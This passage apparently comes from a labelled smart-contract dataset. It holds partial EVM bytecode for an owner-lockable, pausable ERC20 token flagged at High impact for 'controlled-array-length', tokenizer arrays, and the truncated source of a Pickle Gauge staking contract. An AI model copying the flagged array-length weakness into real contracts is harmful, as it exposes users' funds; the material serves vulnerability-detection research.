ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808342018152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b83834201604051808381526020018281526020019250505060405180910390a2505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a491381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461218a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561222d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b612258600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613b7f565b8311156122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b61234083600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808442018152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b84844201604051808381526020018281526020019250505060405180910390a2600190509392505050565b6040518060400160405280600481526020017f444942410000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612622576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61262b82613b7f565b8111156126a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b6126aa8282613c50565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000612797338461279285600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b613223565b6001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612863576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f53656e646572206163636f756e74206973206c6f636b65642e0000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff16156128e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b6128ef3361341a565b6128f98383613dee565b905092915050565b600042905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612af8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b612b23600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613b7f565b831115612b98576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b612c0b83600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280848152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051808381526020018281526020019250505060405180910390a2600190509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612efc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81612f0684613b7f565b1015612f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b612fcb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280838152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8383604051808381526020018281526020019250505060405180910390a2505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613217576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61322081613e05565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156132a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142f16024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561332f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806142896022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008090505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156138875742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106134b557fe5b9060005260206000209060020201600001541161387a57613578600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061351957fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061363c57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106136af57fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905003811461382657600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038154811061379f57fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106137f757fe5b906000526020600020906002020160008201548160000155600182015481600101559050508080600190039150505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054809190600190036138789190614204565b505b8080600101915050613420565b5050565b6000613898848484613f68565b613931843361392c85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b613223565b600190509392505050565b6000808284019050838110156139ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613a67576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b613a7c8160025461393c90919063ffffffff16565b600281905550613ad3816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600082821115613c3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613cd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806142ab6021913960400191505060405180910390fd5b613ceb81600254613bc790919063ffffffff16565b600281905550613d42816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000613dfb338484613f68565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c7265616479206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613fee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806142cc6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614074576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806142666023913960400191505060405180910390fd5b6140c5816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614158816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b815481835581811115614231576002028160020283600052602060002091820191016142309190614236565b5b505050565b61426291905b8082111561425e5760008082016000905560018201600090555060020161423c565b5090565b9056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058209a76cce34b4f31c2ad9e26f8f9cf0f4af924abd467e6cdd965c5d53c20f4b56f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 9024, 2063, 2620, 4783, 2549, 11329, 2475, 2546, 26224, 16409, 2094, 21472, 2620, 17134, 2575, 2050, 2620, 10790, 2094, 22610, 22394, 2575, 23833, 2692, 2497, 2581, 1013, 1013, 5371, 1024, 13045, 1035, 14184, 1032, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1032, 8311, 1032, 19204, 1032, 9413, 2278, 11387, 1032, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 2515, 2025, 2421, 1008, 1996, 11887, 4972, 1025, 2000, 3229, 2068, 2156, 1036, 9413, 2278, 11387, 3207, 14162, 2098, 1036, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,804
0x95bb606e332215d09160bfafe720f84476d06145
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address 